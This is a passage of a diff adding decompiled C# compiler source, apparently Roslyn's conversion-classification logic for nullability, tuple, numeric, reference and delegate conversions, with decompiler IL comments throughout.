CollectionExpressionTypeKind.CollectionBuilder; + } + if (implementsSpecialInterface(compilation, destination, (SpecialType)25)) + { + elementType = default(TypeWithAnnotations); + return CollectionExpressionTypeKind.ImplementsIEnumerableT; + } + if (implementsSpecialInterface(compilation, destination, (SpecialType)24)) + { + elementType = default(TypeWithAnnotations); + return CollectionExpressionTypeKind.ImplementsIEnumerable; + } + if (destination.IsArrayInterface(out elementType)) + { + return CollectionExpressionTypeKind.ArrayInterface; + } + } + elementType = default(TypeWithAnnotations); + return CollectionExpressionTypeKind.None; + static bool implementsSpecialInterface(CSharpCompilation cSharpCompilation, TypeSymbol targetType, SpecialType specialInterface) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray allInterfacesOrEffectiveInterfaces = targetType.GetAllInterfacesOrEffectiveInterfaces(); + NamedTypeSymbol specialType = cSharpCompilation.GetSpecialType(specialInterface); + return ImmutableArrayExtensions.Any(allInterfacesOrEffectiveInterfaces, (Func)((NamedTypeSymbol a, NamedTypeSymbol b) => (object)a.OriginalDefinition == b), specialType); + } + static bool isSpanOrListType(CSharpCompilation cSharpCompilation, TypeSymbol targetType, WellKnownType spanType, [NotNullWhen(true)] out TypeWithAnnotations reference) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + if (targetType is NamedTypeSymbol { Arity: 1 } namedTypeSymbol && (object)namedTypeSymbol.OriginalDefinition == cSharpCompilation.GetWellKnownType(spanType)) + { + reference = namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0]; + return true; + } + reference = default(TypeWithAnnotations); + return false; + } + } + + internal Conversion ClassifyImplicitUserDefinedConversionForV6SwitchGoverningType(TypeSymbol sourceType, out TypeSymbol switchGoverningType, ref CompoundUseSiteInfo useSiteInfo) + { + UserDefinedConversionResult conversionResult = AnalyzeImplicitUserDefinedConversionForV6SwitchGoverningType(sourceType, ref useSiteInfo); + if (conversionResult.Kind == UserDefinedConversionResultKind.Valid) + { + UserDefinedConversionAnalysis userDefinedConversionAnalysis = conversionResult.Results[conversionResult.Best]; + switchGoverningType = userDefinedConversionAnalysis.ToType; + } + else + { + switchGoverningType = null; + } + return new Conversion(conversionResult, isImplicit: true); + } + + internal Conversion GetCallerLineNumberConversion(TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + Microsoft.CodeAnalysis.CSharp.Syntax.LiteralExpressionSyntax syntax = new Microsoft.CodeAnalysis.CSharp.Syntax.LiteralExpressionSyntax(new Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.LiteralExpressionSyntax(SyntaxKind.NumericLiteralExpression, new SyntaxToken(SyntaxKind.NumericLiteralToken)), null, 0); + TypeSymbol specialType = corLibrary.GetSpecialType((SpecialType)13); + BoundLiteral source = new BoundLiteral((SyntaxNode)(object)syntax, ConstantValue.Create(int.MaxValue), specialType); + if (HasImplicitEnumerationConversion(source, destination)) + { + return Conversion.ImplicitEnumeration; + } + Conversion result = ClassifyImplicitConstantExpressionConversion(source, destination); + if (result.Exists) + { + return result; + } + return ClassifyStandardImplicitConversion(specialType, destination, ref useSiteInfo); + } + + internal bool HasCallerLineNumberConversion(TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + return GetCallerLineNumberConversion(destination, ref useSiteInfo).Exists; + } + + internal bool HasCallerInfoStringConversion(TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + TypeSymbol specialType = corLibrary.GetSpecialType((SpecialType)20); + return ClassifyStandardImplicitConversion(specialType, destination, ref useSiteInfo).Exists; + } + + public static bool HasIdentityConversion(TypeSymbol type1, TypeSymbol type2) + { + return HasIdentityConversionInternal(type1, type2, includeNullability: false); + } + + private static bool HasIdentityConversionInternal(TypeSymbol type1, TypeSymbol type2, bool includeNullability) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + TypeCompareKind compareKind = (TypeCompareKind)(includeNullability ? 55 : 63); + return type1.Equals(type2, compareKind); + } + + private bool HasIdentityConversionInternal(TypeSymbol type1, TypeSymbol type2) + { + return HasIdentityConversionInternal(type1, type2, IncludeNullability); + } + + internal bool HasTopLevelNullabilityIdentityConversion(TypeWithAnnotations source, TypeWithAnnotations destination) + { + if (!IncludeNullability) + { + return true; + } + if (source.NullableAnnotation.IsOblivious() || destination.NullableAnnotation.IsOblivious()) + { + return true; + } + bool flag = IsPossiblyNullableTypeTypeParameter(in source); + bool flag2 = IsPossiblyNullableTypeTypeParameter(in destination); + if (flag && !flag2) + { + return destination.NullableAnnotation.IsAnnotated(); + } + if (flag2 && !flag) + { + return source.NullableAnnotation.IsAnnotated(); + } + return source.NullableAnnotation.IsAnnotated() == destination.NullableAnnotation.IsAnnotated(); + } + + internal bool HasTopLevelNullabilityImplicitConversion(TypeWithAnnotations source, TypeWithAnnotations destination) + { + if (!IncludeNullability) + { + return true; + } + if (source.NullableAnnotation.IsOblivious() || destination.NullableAnnotation.IsOblivious() || destination.NullableAnnotation.IsAnnotated()) + { + return true; + } + if (IsPossiblyNullableTypeTypeParameter(in source) && !IsPossiblyNullableTypeTypeParameter(in destination)) + { + return false; + } + return !source.NullableAnnotation.IsAnnotated(); + } + + private static bool IsPossiblyNullableTypeTypeParameter(in TypeWithAnnotations typeWithAnnotations) + { + TypeSymbol type = typeWithAnnotations.Type; + if ((object)type != null) + { + if (!type.IsPossiblyNullableReferenceTypeTypeParameter()) + { + return type.IsNullableTypeOrTypeParameter(); + } + return true; + } + return false; + } + + public bool HasAnyNullabilityImplicitConversion(TypeWithAnnotations source, TypeWithAnnotations destination) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + if (HasTopLevelNullabilityImplicitConversion(source, destination)) + { + return ClassifyImplicitConversionFromType(source.Type, destination.Type, ref useSiteInfo).Kind != ConversionKind.NoConversion; + } + return false; + } + + private static bool HasIdentityConversionToAny(NamedTypeSymbol type, ArrayBuilder<(NamedTypeSymbol ParticipatingType, TypeParameterSymbol ConstrainedToTypeOpt)> targetTypes) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + Enumerator<(NamedTypeSymbol, TypeParameterSymbol)> enumerator = targetTypes.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (HasIdentityConversionInternal(type, enumerator.Current.Item1, includeNullability: false)) + { + return true; + } + } + return false; + } + + public Conversion ConvertExtensionMethodThisArg(TypeSymbol parameterType, TypeSymbol thisType, ref CompoundUseSiteInfo useSiteInfo) + { + Conversion conversion = ClassifyImplicitExtensionMethodThisArgConversion(null, thisType, parameterType, ref useSiteInfo); + if (!IsValidExtensionMethodThisArgConversion(conversion)) + { + return Conversion.NoConversion; + } + return conversion; + } + + public Conversion ClassifyImplicitExtensionMethodThisArgConversion(BoundExpression sourceExpressionOpt, TypeSymbol sourceType, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + if ((object)sourceType != null) + { + if (HasIdentityConversionInternal(sourceType, destination)) + { + return Conversion.Identity; + } + if (HasBoxingConversion(sourceType, destination, ref useSiteInfo)) + { + return Conversion.Boxing; + } + if (HasImplicitReferenceConversion(sourceType, destination, ref useSiteInfo)) + { + return Conversion.ImplicitReference; + } + } + if (sourceExpressionOpt != null && sourceExpressionOpt.Kind == BoundKind.TupleLiteral) + { + Conversion tupleLiteralConversion = GetTupleLiteralConversion((BoundTupleLiteral)sourceExpressionOpt, destination, ref useSiteInfo, ConversionKind.ImplicitTupleLiteral, delegate(ConversionsBase conversions, BoundExpression s, TypeWithAnnotations d, bool isChecked, ref CompoundUseSiteInfo u, bool forCast) + { + return conversions.ClassifyImplicitExtensionMethodThisArgConversion(s, s.Type, d.Type, ref u); + }, isChecked: false, forCast: false); + if (tupleLiteralConversion.Exists) + { + return tupleLiteralConversion; + } + } + if ((object)sourceType != null) + { + Conversion result = ClassifyTupleConversion(sourceType, destination, ref useSiteInfo, ConversionKind.ImplicitTuple, delegate(ConversionsBase conversions, TypeWithAnnotations s, TypeWithAnnotations d, bool _, ref CompoundUseSiteInfo u, bool _) + { + return (!conversions.HasTopLevelNullabilityImplicitConversion(s, d)) ? Conversion.NoConversion : conversions.ClassifyImplicitExtensionMethodThisArgConversion(null, s.Type, d.Type, ref u); + }, isChecked: false, forCast: false); + if (result.Exists) + { + return result; + } + } + return Conversion.NoConversion; + } + + public static bool IsValidExtensionMethodThisArgConversion(Conversion conversion) + { + switch (conversion.Kind) + { + case ConversionKind.Identity: + case ConversionKind.ImplicitReference: + case ConversionKind.Boxing: + return true; + case ConversionKind.ImplicitTupleLiteral: + case ConversionKind.ImplicitTuple: + { + ImmutableArray.Enumerator enumerator = conversion.UnderlyingConversions.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!IsValidExtensionMethodThisArgConversion(enumerator.Current)) + { + return false; + } + } + return true; + } + default: + return false; + } + } + + private static ConversionKind GetNumericConversion(TypeSymbol source, TypeSymbol destination) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + if (!IsNumericType(source) || !IsNumericType(destination)) + { + return ConversionKind.UnsetConversionKind; + } + if (source.SpecialType == destination.SpecialType) + { + return ConversionKind.UnsetConversionKind; + } + return ConversionEasyOut.ClassifyConversion(source, destination); + } + + private static bool HasImplicitNumericConversion(TypeSymbol source, TypeSymbol destination) + { + return GetNumericConversion(source, destination) == ConversionKind.ImplicitNumeric; + } + + private static bool HasExplicitNumericConversion(TypeSymbol source, TypeSymbol destination) + { + return GetNumericConversion(source, destination) == ConversionKind.ExplicitNumeric; + } + + private static bool IsConstantNumericZero(ConstantValue value) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Expected I4, but got Unknown + ConstantValueTypeDiscriminator discriminator = value.Discriminator; + switch (discriminator - 2) + { + case 0: + return value.SByteValue == 0; + case 1: + return value.ByteValue == 0; + case 2: + return value.Int16Value == 0; + case 4: + case 8: + return value.Int32Value == 0; + case 6: + return value.Int64Value == 0; + case 3: + return value.UInt16Value == 0; + case 5: + case 9: + return value.UInt32Value == 0; + case 7: + return value.UInt64Value == 0; + case 12: + case 13: + return value.DoubleValue == 0.0; + case 15: + return value.DecimalValue == 0m; + default: + return false; + } + } + + private static bool IsNumericType(TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Expected I4, but got Unknown + SpecialType specialType = type.SpecialType; + switch (specialType - 8) + { + case 13: + if (!type.IsNativeIntegerType) + { + break; + } + goto case 0; + case 14: + if (!type.IsNativeIntegerType) + { + break; + } + goto case 0; + case 0: + case 1: + case 2: + case 3: + case 4: + case 5: + case 6: + case 7: + case 8: + case 9: + case 10: + case 11: + return true; + } + return false; + } + + private static bool HasSpecialIntPtrConversion(TypeSymbol source, TypeSymbol target) + { + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Invalid comparison between Unknown and I4 + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Invalid comparison between Unknown and I4 + TypeSymbol typeSymbol = source.StrippedType(); + TypeSymbol typeSymbol2 = target.StrippedType(); + TypeSymbol typeSymbol3; + if (isIntPtrOrUIntPtr(typeSymbol)) + { + typeSymbol3 = typeSymbol2; + } + else + { + if (!isIntPtrOrUIntPtr(typeSymbol2)) + { + return false; + } + typeSymbol3 = typeSymbol; + } + if (typeSymbol3.IsPointerOrFunctionPointer()) + { + return true; + } + if ((int)typeSymbol3.TypeKind == 5) + { + return true; + } + SpecialType specialType = typeSymbol3.SpecialType; + if (specialType - 8 <= 11) + { + return true; + } + return false; + static bool isIntPtrOrUIntPtr(TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + if ((int)type.SpecialType == 21 || (int)type.SpecialType == 22) + { + return !type.IsNativeIntegerType; + } + return false; + } + } + + private static bool HasExplicitEnumerationConversion(TypeSymbol source, TypeSymbol destination) + { + if (IsNumericType(source) && destination.IsEnumType()) + { + return true; + } + if (IsNumericType(destination) && source.IsEnumType()) + { + return true; + } + if (source.IsEnumType() && destination.IsEnumType()) + { + return true; + } + return false; + } + + private Conversion ClassifyImplicitNullableConversion(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + if (!destination.IsNullableType()) + { + return Conversion.NoConversion; + } + TypeSymbol nullableUnderlyingType = destination.GetNullableUnderlyingType(); + TypeSymbol typeSymbol = source.StrippedType(); + if (!typeSymbol.IsValueType) + { + return Conversion.NoConversion; + } + if (HasIdentityConversionInternal(typeSymbol, nullableUnderlyingType)) + { + return Conversion.ImplicitNullableWithIdentityUnderlying; + } + if (HasImplicitNumericConversion(typeSymbol, nullableUnderlyingType)) + { + return Conversion.ImplicitNullableWithImplicitNumericUnderlying; + } + Conversion item = ClassifyImplicitTupleConversion(typeSymbol, nullableUnderlyingType, ref useSiteInfo); + if (item.Exists) + { + return new Conversion(ConversionKind.ImplicitNullable, ImmutableArray.Create(item)); + } + return Conversion.NoConversion; + } + + private Conversion GetImplicitTupleLiteralConversion(BoundTupleLiteral source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + return GetTupleLiteralConversion(source, destination, ref useSiteInfo, ConversionKind.ImplicitTupleLiteral, delegate(ConversionsBase conversions, BoundExpression s, TypeWithAnnotations d, bool isChecked, ref CompoundUseSiteInfo u, bool forCast) + { + return conversions.ClassifyImplicitConversionFromExpression(s, d.Type, ref u); + }, isChecked: false, forCast: false); + } + + private Conversion GetExplicitTupleLiteralConversion(BoundTupleLiteral source, TypeSymbol destination, bool isChecked, ref CompoundUseSiteInfo useSiteInfo, bool forCast) + { + return GetTupleLiteralConversion(source, destination, ref useSiteInfo, ConversionKind.ExplicitTupleLiteral, delegate(ConversionsBase conversions, BoundExpression s, TypeWithAnnotations d, bool isChecked2, ref CompoundUseSiteInfo u, bool forCast2) + { + return conversions.ClassifyConversionFromExpression(s, d.Type, isChecked2, ref u, forCast2); + }, isChecked, forCast); + } + + private Conversion GetTupleLiteralConversion(BoundTupleLiteral source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo, ConversionKind kind, ClassifyConversionFromExpressionDelegate classifyConversion, bool isChecked, bool forCast) + { + ImmutableArray arguments = source.Arguments; + if (!destination.IsTupleTypeOfCardinality(arguments.Length)) + { + return Conversion.NoConversion; + } + ImmutableArray tupleElementTypesWithAnnotations = destination.TupleElementTypesWithAnnotations; + ArrayBuilder instance = ArrayBuilder.GetInstance(arguments.Length); + for (int i = 0; i < arguments.Length; i++) + { + BoundExpression sourceExpression = arguments[i]; + Conversion conversion = classifyConversion(this, sourceExpression, tupleElementTypesWithAnnotations[i], isChecked, ref useSiteInfo, forCast); + if (!conversion.Exists) + { + instance.Free(); + return Conversion.NoConversion; + } + instance.Add(conversion); + } + return new Conversion(kind, instance.ToImmutableAndFree()); + } + + private Conversion ClassifyImplicitTupleConversion(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + return ClassifyTupleConversion(source, destination, ref useSiteInfo, ConversionKind.ImplicitTuple, delegate(ConversionsBase conversions, TypeWithAnnotations s, TypeWithAnnotations d, bool _, ref CompoundUseSiteInfo u, bool _) + { + return (!conversions.HasTopLevelNullabilityImplicitConversion(s, d)) ? Conversion.NoConversion : conversions.ClassifyImplicitConversionFromType(s.Type, d.Type, ref u); + }, isChecked: false, forCast: false); + } + + private Conversion ClassifyExplicitTupleConversion(TypeSymbol source, TypeSymbol destination, bool isChecked, ref CompoundUseSiteInfo useSiteInfo, bool forCast) + { + return ClassifyTupleConversion(source, destination, ref useSiteInfo, ConversionKind.ExplicitTuple, delegate(ConversionsBase conversions, TypeWithAnnotations s, TypeWithAnnotations d, bool isChecked2, ref CompoundUseSiteInfo u, bool forCast2) + { + return (!conversions.HasTopLevelNullabilityImplicitConversion(s, d)) ? Conversion.NoConversion : conversions.ClassifyConversionFromType(s.Type, d.Type, isChecked2, ref u, forCast2); + }, isChecked, forCast); + } + + private Conversion ClassifyTupleConversion(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo, ConversionKind kind, ClassifyConversionFromTypeDelegate classifyConversion, bool isChecked, bool forCast) + { + if (!source.TryGetElementTypesWithAnnotationsIfTupleType(out var elementTypes) || !destination.TryGetElementTypesWithAnnotationsIfTupleType(out var elementTypes2) || elementTypes.Length != elementTypes2.Length) + { + return Conversion.NoConversion; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(elementTypes.Length); + for (int i = 0; i < elementTypes.Length; i++) + { + Conversion conversion = classifyConversion(this, elementTypes[i], elementTypes2[i], isChecked, ref useSiteInfo, forCast); + if (!conversion.Exists) + { + instance.Free(); + return Conversion.NoConversion; + } + instance.Add(conversion); + } + return new Conversion(kind, instance.ToImmutableAndFree()); + } + + private Conversion ClassifyExplicitNullableConversion(TypeSymbol source, TypeSymbol destination, bool isChecked, ref CompoundUseSiteInfo useSiteInfo, bool forCast) + { + if (!source.IsNullableType() && !destination.IsNullableType()) + { + return Conversion.NoConversion; + } + TypeSymbol typeSymbol = source.StrippedType(); + TypeSymbol typeSymbol2 = destination.StrippedType(); + if (HasIdentityConversionInternal(typeSymbol, typeSymbol2)) + { + return Conversion.ExplicitNullableWithIdentityUnderlying; + } + if (HasImplicitNumericConversion(typeSymbol, typeSymbol2)) + { + return Conversion.ExplicitNullableWithImplicitNumericUnderlying; + } + if (HasExplicitNumericConversion(typeSymbol, typeSymbol2)) + { + return Conversion.ExplicitNullableWithExplicitNumericUnderlying; + } + Conversion item = ClassifyExplicitTupleConversion(typeSymbol, typeSymbol2, isChecked, ref useSiteInfo, forCast); + if (item.Exists) + { + return new Conversion(ConversionKind.ExplicitNullable, ImmutableArray.Create(item)); + } + if (HasExplicitEnumerationConversion(typeSymbol, typeSymbol2)) + { + return Conversion.ExplicitNullableWithExplicitEnumerationUnderlying; + } + if (HasPointerToIntegerConversion(typeSymbol, typeSymbol2)) + { + return Conversion.ExplicitNullableWithPointerToIntegerUnderlying; + } + return Conversion.NoConversion; + } + + private bool HasCovariantArrayConversion(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + ArrayTypeSymbol arrayTypeSymbol = source as ArrayTypeSymbol; + ArrayTypeSymbol arrayTypeSymbol2 = destination as ArrayTypeSymbol; + if ((object)arrayTypeSymbol == null || (object)arrayTypeSymbol2 == null) + { + return false; + } + if (!arrayTypeSymbol.HasSameShapeAs(arrayTypeSymbol2)) + { + return false; + } + return HasImplicitReferenceConversion(arrayTypeSymbol.ElementTypeWithAnnotations, arrayTypeSymbol2.ElementTypeWithAnnotations, ref useSiteInfo); + } + + public bool HasIdentityOrImplicitReferenceConversion(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + if (HasIdentityConversionInternal(source, destination)) + { + return true; + } + return HasImplicitReferenceConversion(source, destination, ref useSiteInfo); + } + + private static bool HasImplicitDynamicConversionFromExpression(TypeSymbol expressionType, TypeSymbol destination) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + if ((object)expressionType != null && (int)expressionType.Kind == 3) + { + return !destination.IsPointerOrFunctionPointer(); + } + return false; + } + + private static bool HasExplicitDynamicConversion(TypeSymbol source, TypeSymbol destination) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)source.Kind == 3) + { + return !destination.IsPointerOrFunctionPointer(); + } + return false; + } + + private bool HasArrayConversionToInterface(ArrayTypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Invalid comparison between Unknown and I4 + if (!source.IsSZArray) + { + return false; + } + if (!destination.IsInterfaceType()) + { + return false; + } + if ((int)destination.SpecialType == 24) + { + return true; + } + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)destination; + if (namedTypeSymbol.AllTypeArgumentCount() != 1) + { + return false; + } + if (!namedTypeSymbol.IsPossibleArrayGenericInterface()) + { + return false; + } + TypeWithAnnotations elementTypeWithAnnotations = source.ElementTypeWithAnnotations; + TypeWithAnnotations destination2 = namedTypeSymbol.TypeArgumentWithDefinitionUseSiteDiagnostics(0, ref useSiteInfo); + if (IncludeNullability && !HasTopLevelNullabilityImplicitConversion(elementTypeWithAnnotations, destination2)) + { + return false; + } + return HasIdentityOrImplicitReferenceConversion(elementTypeWithAnnotations.Type, destination2.Type, ref useSiteInfo); + } + + private bool HasImplicitReferenceConversion(TypeWithAnnotations source, TypeWithAnnotations destination, ref CompoundUseSiteInfo useSiteInfo) + { + if (IncludeNullability) + { + if (!HasTopLevelNullabilityImplicitConversion(source, destination)) + { + return false; + } + if (source.NullableAnnotation != destination.NullableAnnotation && HasIdentityConversionInternal(source.Type, destination.Type, includeNullability: true)) + { + return true; + } + } + return HasImplicitReferenceConversion(source.Type, destination.Type, ref useSiteInfo); + } + + internal bool HasImplicitReferenceConversion(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Invalid comparison between Unknown and I4 + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Invalid comparison between Unknown and I4 + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Expected I4, but got Unknown + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Invalid comparison between Unknown and I4 + if (source.IsErrorType()) + { + return false; + } + if (!source.IsReferenceType) + { + return false; + } + if ((int)destination.SpecialType == 1 || (int)destination.Kind == 3) + { + return true; + } + TypeKind typeKind = source.TypeKind; + switch (typeKind - 1) + { + default: + if ((int)typeKind != 11) + { + break; + } + return HasImplicitReferenceTypeParameterConversion((TypeParameterSymbol)source, destination, ref useSiteInfo); + case 1: + if (destination.IsClassType() && IsBaseClass(source, destination, ref useSiteInfo)) + { + return true; + } + return HasImplicitConversionToInterface(source, destination, ref useSiteInfo); + case 6: + return HasImplicitConversionToInterface(source, destination, ref useSiteInfo); + case 2: + return HasImplicitConversionFromDelegate(source, destination, ref useSiteInfo); + case 0: + return HasImplicitConversionFromArray(source, destination, ref useSiteInfo); + case 3: + case 4: + case 5: + break; + } + return false; + } + + private bool HasImplicitConversionToInterface(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + if (!destination.IsInterfaceType()) + { + return false; + } + if (source.IsClassType()) + { + return HasAnyBaseInterfaceConversion(source, destination, ref useSiteInfo); + } + if (source.IsInterfaceType()) + { + if (HasAnyBaseInterfaceConversion(source, destination, ref useSiteInfo)) + { + return true; + } + if (!HasIdentityConversionInternal(source, destination) && HasInterfaceVarianceConversion(source, destination, ref useSiteInfo)) + { + return true; + } + } + return false; + } + + private bool HasImplicitConversionFromArray(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + if (!(source is ArrayTypeSymbol source2)) + { + return false; + } + if (HasCovariantArrayConversion(source, destination, ref useSiteInfo)) + { + return true; + } + if ((int)destination.GetSpecialTypeSafe() == 23) + { + return true; + } + if (IsBaseInterface(destination, corLibrary.GetDeclaredSpecialType((SpecialType)23), ref useSiteInfo)) + { + return true; + } + if (HasArrayConversionToInterface(source2, destination, ref useSiteInfo)) + { + return true; + } + return false; + } + + private bool HasImplicitConversionFromDelegate(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + if (!source.IsDelegateType()) + { + return false; + } + SpecialType specialTypeSafe = destination.GetSpecialTypeSafe(); + if ((int)specialTypeSafe == 3 || (int)specialTypeSafe == 4 || IsBaseInterface(destination, corLibrary.GetDeclaredSpecialType((SpecialType)3), ref useSiteInfo)) + { + return true; + } + if (HasDelegateVarianceConversion(source, destination, ref useSiteInfo)) + { + return true; + } + return false; + } + + private bool HasImplicitFunctionTypeConversion(FunctionTypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + if (destination is FunctionTypeSymbol destinationType) + { + return HasImplicitFunctionTypeToFunctionTypeConversion(source, destinationType, ref useSiteInfo); + } + if (IsValidFunctionTypeConversionTarget(destination, ref useSiteInfo)) + { + return (object)source.GetInternalDelegateType() != null; + } + return false; + } + + internal bool IsValidFunctionTypeConversionTarget(TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)destination.SpecialType == 3) + { + return true; + } + if (destination.IsNonGenericExpressionType()) + { + return true; + } + NamedTypeSymbol declaredSpecialType = corLibrary.GetDeclaredSpecialType((SpecialType)3); + if (IsBaseClass(declaredSpecialType, destination, ref useSiteInfo) || IsBaseInterface(destination, declaredSpecialType, ref useSiteInfo)) + { + return true; + } + return false; + } + + private bool HasImplicitFunctionTypeToFunctionTypeConversion(FunctionTypeSymbol sourceType, FunctionTypeSymbol destinationType, ref CompoundUseSiteInfo useSiteInfo) + { + NamedTypeSymbol internalDelegateType = sourceType.GetInternalDelegateType(); + if ((object)internalDelegateType == null) + { + return false; + } + NamedTypeSymbol internalDelegateType2 = destinationType.GetInternalDelegateType(); + if ((object)internalDelegateType2 == null) + { + return false; + } + return HasDelegateVarianceConversion(internalDelegateType, internalDelegateType2, ref useSiteInfo); + } + + public bool HasImplicitTypeParameterConversion(TypeParameterSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + if (HasImplicitReferenceTypeParameterConversion(source, destination, ref useSiteInfo)) + { + return true; + } + if (HasImplicitBoxingTypeParameterConversion(source, destination, ref useSiteInfo)) + { + return true; + } + if ((int)destination.TypeKind == 11 && source.DependsOn((TypeParameterSymbol)destination)) + { + return true; + } + return false; + } + + private bool HasImplicitReferenceTypeParameterConversion(TypeParameterSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Invalid comparison between Unknown and I4 + if (source.IsValueType) + { + return false; + } + if (HasImplicitEffectiveBaseConversion(source, destination, ref useSiteInfo)) + { + return true; + } + if (HasImplicitEffectiveInterfaceSetConversion(source, destination, ref useSiteInfo)) + { + return true; + } + if ((int)destination.TypeKind == 11 && source.DependsOn((TypeParameterSymbol)destination)) + { + return true; + } + return false; + } + + private bool HasImplicitEffectiveBaseConversion(TypeParameterSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + NamedTypeSymbol namedTypeSymbol = source.EffectiveBaseClass(ref useSiteInfo); + if (HasIdentityConversionInternal(namedTypeSymbol, destination)) + { + return true; + } + if (IsBaseClass(namedTypeSymbol, destination, ref useSiteInfo)) + { + return true; + } + if (HasAnyBaseInterfaceConversion(namedTypeSymbol, destination, ref useSiteInfo)) + { + return true; + } + return false; + } + + private bool HasImplicitEffectiveInterfaceSetConversion(TypeParameterSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + if (!destination.IsInterfaceType()) + { + return false; + } + ImmutableArray.Enumerator enumerator = source.AllEffectiveInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo).GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if (HasInterfaceVarianceConversion(current, destination, ref useSiteInfo)) + { + return true; + } + } + return false; + } + + private bool HasAnyBaseInterfaceConversion(TypeSymbol derivedType, TypeSymbol baseType, ref CompoundUseSiteInfo useSiteInfo) + { + if (!baseType.IsInterfaceType()) + { + return false; + } + if (!(derivedType is NamedTypeSymbol namedTypeSymbol)) + { + return false; + } + ImmutableArray.Enumerator enumerator = namedTypeSymbol.AllInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo).GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if (HasInterfaceVarianceConversion(current, baseType, ref useSiteInfo)) + { + return true; + } + } + return false; + } + + private bool HasInterfaceVarianceConversion(TypeSymbol source, TypeSymbol destination, ref CompoundUseSiteInfo useSiteInfo) + { + 